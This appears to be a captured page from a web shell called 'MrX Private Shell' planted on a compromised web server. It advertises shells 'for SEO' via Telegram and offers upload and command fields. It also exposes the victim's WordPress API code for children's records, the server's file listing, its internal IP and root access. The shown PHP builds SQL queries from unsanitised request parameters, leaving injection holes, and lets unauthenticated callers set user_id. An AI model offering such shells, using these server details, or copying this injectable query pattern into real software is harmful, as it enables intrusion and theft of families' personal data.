__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
Upload:
Command:
<?php /** * @author Prasetyo Pandu <prasetyowira@gmail.com> * Date: 22/10/17 * Time: 14.54 */ namespace Api; define( 'BLOCK_LOAD', true ); ini_set('display_errors','on'); use Api\Helpers\Response; use Api\Helpers\Tools; class Anak extends BaseClass { use Response; use Tools; protected $anak; public function __construct() { parent::__construct(); $this->table = 'milna_anak'; } public function delete($request) { if (!is_user_logged_in()){ return $this->json_response('Not Authorize',[],403); } $user = wp_get_current_user(); $query = 'SELECT * FROM '.$this->table.' WHERE user_id = '.$user->ID. ' AND id = '.$request[0]; $anaks = $this->wpdb->get_results($query); if (empty($anaks)) { //If Entity Not Found return $this->json_response('Not Found',[],422); } else { $this->wpdb->delete($this->table,[ 'id' => $request[0], ]); return $this->json_response('Delete Success', [], 200); } } public function addPoint($param, $input) { if (!is_user_logged_in()){ return $this->json_response('Not Authorize',[],403); } if ($param[0] == ''){ return $this->json_response('Bad Request',[],400); } if (!is_numeric($input['point']) || $input['point'] == ''){ return $this->json_response('Bad Request',[ 'error' => 'Not Valid Input' ],400); } $user = wp_get_current_user(); $query = 'SELECT * FROM '.$this->table.' WHERE user_id = '.$user->ID. ' AND id = '.$param[0].' LIMIT 1'; $anaks = $this->wpdb->get_results($query); if (empty($anaks)) { //If Entity Not Found return $this->json_response('Entity Not Found',[],422); } else { $point = $anaks[0]->point; if (!is_null($point) && is_numeric($point)){ $point = $input['point']; } $args['id'] = $param[0]; $args['user_id'] = $user->ID; $query = $this->queryBuilder('update', $this->table, $input, $args); $response = $this->wpdb->query($query); if ($response === false) return $this->json_response('Internal Server Error', [], 500); return $this->json_response('Update Success', [], 201); } } public function update($param, $input) { if (!is_user_logged_in()){ return $this->json_response('Not Authorize',[],403); } if ($param[0] == ''){ return $this->json_response('Not Found',[],404); } $user = wp_get_current_user(); $query = 'SELECT * FROM '.$this->table.' WHERE user_id = '.$user->ID. ' AND id = '.$param[0]; $anaks = $this->wpdb->get_results($query); if (empty($anaks)) { //If Entity Not Found return $this->json_response('Not Found',[],422); } else { //TODO NEED CHECK EITHER FIELD IS NOT SET OR FIELD IS NULL $args['id'] = $param[0]; $query = $this->queryBuilder('update', $this->table, $input, $args); $response = $this->wpdb->query($query); if ($response === false) return $this->json_response('Internal Server Error', [], 500); return $this->json_response('Update Success', [], 201); } } public function store($input) { global $ultimatemember; if (is_user_logged_in()){ $user = wp_get_current_user(); $data = [ 'user_id' => $user->ID, 'first_name' => $input['first_name'], 'gender' => $input['gender'], 'birth_date' => $input['birth_date'], 'photo' => $input['photo'] ]; $response = $this->wpdb->insert($this->table, $data); if ($response == 1) { return $this->json_response('Success Add Anak', $data, 201); } else { return $this->json_response('Internal Server Error', $data, 500); } }else{ if (isset($input['user_id'])){ $data = [ 'user_id' => $input['user_id'], 'first_name' => $input['first_name'], 'gender' => $input['gender'], 'birth_date' => $input['birth_date'], 'photo' => $input['photo'] ]; $response = $this->wpdb->insert($this->table, $data); if ($response == 1) { return $this->json_response('Success Add Anak',$data, 201); } else { return $this->json_response('Internal Server Error',$data,500); } } return $this->json_response('Bad Request',[],400); } } public function get($param, $request) { if (!is_user_logged_in()){ return $this->json_response('Not Authorize',[],403); } if ($request[0] == '') { //Get All return $this->getAll($param); } else { //Get One return $this->getOne($request[0]); } } private function getOne($id) { $user = wp_get_current_user(); $query = 'SELECT * FROM '.$this->table.' WHERE user_id = '.$user->ID. ' AND id = '.$id; $anaks = $this->wpdb->get_results($query); if (!empty($anaks)){ $response = (array) $anaks[0]; if (is_null($response['point'])){ unset($response['point']); } $age = array($this->HitungUmur($response['birth_date'], 'complete')); $result = array_merge($response, $age); return $this->json_response('Success', $result, 200); } return $this->json_response('Success', [], 200); } private function getAll($param) { $user = wp_get_current_user(); $query = 'SELECT * FROM '.$this->table.' WHERE user_id = '.$user->ID; if (isset($param['orderby'])){ if ($param['orderby'] == 'asc' || $param['orderby'] == 'desc') $query = $query.' ORDER BY birth_date '.strtoupper($param['orderby']); } if (isset($param['limit'])){ if (is_numeric($param['limit'])) $query = $query.' LIMIT '.$param['limit']; } $anaks = $this->wpdb->get_results($query); $response = array(); if (!empty($anaks)){ foreach ($anaks as $key => $anak){ $response[$key] = (array) $anak; if (is_null($anak->point)){ unset($response[$key]['point']); } } return $this->json_response('Success',$response, 200); } return $this->json_response('Success',[], 200); } }
Filemanager
Name | Type | Size | Permission | Actions |
---|---|---|---|---|
Helpers | Folder | 0777 |
|
|
Tools | Folder | 0777 |
|
|
Anak.php | File | 5.67 KB | 0666 |
|
Anak.phpbakup | File | 5.66 KB | 0666 |
|
Autoloader.php | File | 840 B | 0666 |
|
BaseClass.php | File | 4.49 KB | 0666 |
|
Profile.php | File | 1.41 KB | 0666 |
|
User.php | File | 2.44 KB | 0666 |
|
index.php | File | 0 B | 0666 |
|
Server Info
- Hostname: milna-web
- IP Address: 172.31.26.98
- PHP Version: 7.4.33
- Server Software: Apache/2.4.58 (Ubuntu)
- HDD Total Space: 18.33 GB
- HDD Free Space: 2.49 GB
- Total Domains in Server: 2
- System: Linux milna-web 6.8.0-1018-aws #20-Ubuntu SMP Thu Oct 10 18:14:42 UTC 2024 x86_64
System Info
User Info
- Username: root
- User ID: 0
- Group ID: 0
Copyright reserved © 2025 xtooler.online Shell Coded By Mr.X
01
2018